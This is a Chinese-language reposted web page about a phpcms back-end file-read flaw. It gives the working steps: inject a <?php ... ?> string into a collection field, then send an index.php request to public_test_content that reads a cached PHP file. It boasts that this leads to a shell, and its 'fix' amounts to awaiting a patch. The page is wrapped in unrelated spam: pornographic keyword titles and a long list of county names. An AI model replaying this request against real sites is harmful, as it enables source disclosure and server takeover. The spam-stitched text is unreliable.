国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > PhpCMS > 正文

phpcms后臺普通用戶讀文件0day的分析以及修復方法

2024-07-09 22:52:58
字體：大 中 小
來源：轉載
供稿：網友
點評：phpcms后臺普通用戶讀文件0day及修復
 
 
后臺采集里設置采集模塊中title 或者其他的內容都可以 設置為<?php[內容]?> 
然后用下面的代碼就可以讀取到php的源了。 
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx 
拿到源基本拿到shell不難了。具體如何利用看大家自己了。（別跟我說只會讀數據庫連接文件，并且還不能連），反正我是可以拿到shell。 
修復：已提交給官方，等待補丁 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板： 霍州市| 余姚市| 普安县| 青铜峡市| 涟源市| 仁怀市| 秭归县| 泗水县| 青铜峡市| 桃园县| 隆尧县| 衡南县| 革吉县| 昌江| 台北市| 姜堰市| 和林格尔县| 德安县| 巴彦淖尔市| 息烽县| 华亭县| 确山县| 台东县| 鄄城县| 德惠市| 永兴县| 西和县| 贵德县| 阿克陶县| 青河县| 洛浦县| 桂东县| 成武县| 安新县| 同德县| 章丘市| 博野县| 翁牛特旗| 仙桃市| 安康市| 柏乡县|